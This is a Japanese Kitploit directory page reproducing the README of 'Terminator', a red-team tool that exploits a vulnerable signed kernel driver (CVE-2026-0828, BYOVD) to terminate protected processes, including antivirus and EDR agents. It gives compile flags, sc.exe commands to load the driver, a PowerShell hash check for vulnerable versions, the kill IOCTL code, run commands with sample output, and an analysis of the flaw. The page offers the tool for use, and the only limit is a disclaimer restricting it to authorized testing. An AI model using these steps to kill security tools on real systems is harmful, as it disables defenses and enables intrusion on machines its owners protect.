Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Terminator_Killer — カーネルモードのプロセスキラー。CVE-2026-0828(BYOVD)を悪用し、脆弱な署名済みドライバーを介して保護されたプロセスを終了させることで、PPLやエンドポイントセキュリティをバイパスします。 | Kitploit
ツール/GitHubGitHub/hika-sec/terminator_killer
特権昇格脆弱性分析エクスプロイトIDS/IPS回避ペネトレーションテストレッドチーミング
GitHubhika-sec/terminator_killer

Terminator_Killer

カーネルモードのプロセスキラー。CVE-2026-0828(BYOVD)を悪用し、脆弱な署名済みドライバーを介して保護されたプロセスを終了させることで、PPLやエンドポイントセキュリティをバイパスします。

リポジトリを見る
121時間36分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Terminator - レッドチーム向けプロセスキラー

脆弱なドライバ(CVE-2026-0828)を利用して、ユーザーモードから保護されたプロセスを強制終了するカーネルモードのプロセス終了ツール。

コンパイル

Windows で MinGW-w64(GCC)が必要です。以下のコマンドでコンパイルします:

root@kitploit:~
g++ --% .\terminator.cpp -o terminator.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W

フラグの説明:

FlagPurpose
--%PowerShell の解析停止トークン(引数を g++ にそのまま渡す)
-Ozサイズ最小化を最適化
-ffunction-sections / -fdata-sections各関数・データを個別のセクションに配置
-static / -static-libgcc / -static-libstdc++静的リンク(ランタイム DLL 依存なし)
-Wl,--gc-sectionsリンカが未使用セクションをガベージコレクト
-W警告を有効化

出力:スタンドアロンの terminator.exe(ストリップ後、約20〜30 KB)。

技術的焦点

このプロジェクトは、未検証の IOCTL_KILL_PROCESS ハンドラを公開している脆弱なカーネルドライバ(STProcessMonitorDriver)の悪用を実演します。これにより、権限や保護メカニズム(PPL、EPROCESS フラグなど)に関係なく、任意のプロセスを終了できます。

アーキテクチャの内訳

ComponentPurpose
terminator.cppプロセスを列挙し、kill IOCTL を送信するユーザーモードクライアント
terminator.hppプロセス列挙と終了のためのクラスインターフェース
ProcessMonitorDriver.sys脆弱なカーネルドライバ(外部提供、同梱なし)

コード解析

Terminator::GetProcessPids()

  • CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS) でスナップショットを作成
  • Process32First/Process32Next で全プロセスを反復処理
  • 対象プロセス名を大文字小文字を区別せずに照合
  • 一致する PID のベクタを返す

Terminator::ProcessKill()

  • \\.\STProcessMonitorDriver へのハンドルを開く
  • 無限モニタリングループに入る(500ms 間隔)
  • 検出した各 PID に対して、8バイトの PID バッファ付きで IOCTL_KILL_PROCESS (0xB822200C) を送信
  • プロセスが見つからない場合は出力なし。kill 試行時のみログ出力

使用ガイド

前提条件

脆弱なドライバをロードします(管理者権限が必要):

root@kitploit:~
sc.exe create STProcessMonitor type=kernel binPath=C:\Path\To\Driver\ProcessMonitorDriver.sys
sc.exe start STProcessMonitor

既存のサービスを悪用する

脆弱なバージョンの ProcessMonitorDriver.sys がすでにサービスとしてインストールされ実行中の場合(例:正規のアプリケーション由来)、Terminator は新しいドライバをロードせずに直接接続できます。

サービスの存在と実行状態を確認します:

root@kitploit:~
sc.exe query STProcessMonitor

ドライバのバージョンが脆弱かどうかを確認します(PowerShell):

root@kitploit:~
$driverPath = "C:\Windows\System32\drivers\ProcessMonitorDriver.sys"
if (Test-Path $driverPath) {
    $hash = (Get-FileHash $driverPath -Algorithm SHA256).Hash.ToLower()
    $vulnerableHashes = @(
        "70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b",  # 11.11.4.0
        "85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786"   # 10.5.75.0
    )
    if ($vulnerableHashes -contains $hash) {
        Write-Host "[+] Vulnerable driver detected (SHA256: $hash)" -ForegroundColor Green
        Write-Host "[+] You can simply run Terminator." -ForegroundColor Green
    } else {
        Write-Host "[-] Driver found but not a known vulnerable version (SHA256: $hash)" -ForegroundColor Yellow
    }
} else {
    Write-Host "[-] Driver not found at $driverPath" -ForegroundColor Red
}

サービスが存在し、脆弱なバージョンで RUNNING(実行中)である場合、ドライバのロード手順をスキップして、Terminator を直接実行してください。

影響を受けるバージョン(テスト済み)

VersionSHA-256
11.11.4.070bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
10.5.75.085d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786

他のバージョンも影響を受ける可能性があります。使用前にドライバの IOCTL ハンドラを確認してください。

Terminator の実行

root@kitploit:~
terminator.exe -proc <process_name1> [process_name2] ...

例:

root@kitploit:~
terminator.exe -proc notepad.exe calc.exe

出力

root@kitploit:~
[+] Connected to driver. Monitoring for processes...
[*] Sending IOCTL 0xB822200C to terminate PID 4188...
[+] Success! IOCTL sent for PID 4188.

CVE-2026-0828 の解析

脆弱性: ドライバ STProcessMonitorDriver は、以下の IOCTL ハンドラ(0xB822200C)を登録しています:

  1. ユーザー指定の 64 ビット PID を入力バッファとして受け取る
  2. PID 値に対して検証を一切行わない
  3. PsLookupProcessByProcessId → ZwTerminateProcess を直接呼び出す
  4. カーネルコンテキスト(SYSTEM トークン)で実行され、すべてのユーザーモード ACL をバイパスする

影響: ドライバにアクセスできる非管理者ユーザーでも以下を終了できます:

  • 保護プロセス(PPL)
  • アンチウイルス/EDR エージェント
  • 重要なシステムプロセス(csrss、winlogon など)
  • SeDebugPrivilege が必要なプロセス

根本原因: ObReferenceObjectByHandle の検証不足、SeSinglePrivilegeCheck(SeDebugPrivilege) の欠如、およびプロセスオブジェクトのアクセスチェックの欠如。

免責事項

このツールは、許可を得たセキュリティ研究およびレッドチーム演習専用です。

所有していない、または明示的なテスト許可を得ていないシステムに対する不正使用は違法です。作者は誤用について一切の責任を負いません。あらゆる環境に展開する前に、書面による許可を取得してください。

脆弱なドライバ(ProcessMonitorDriver.sys)はデモンストレーション目的で意図的に欠陥を含んでおり、本番環境には決して展開しないでください。

ツールをダウンロード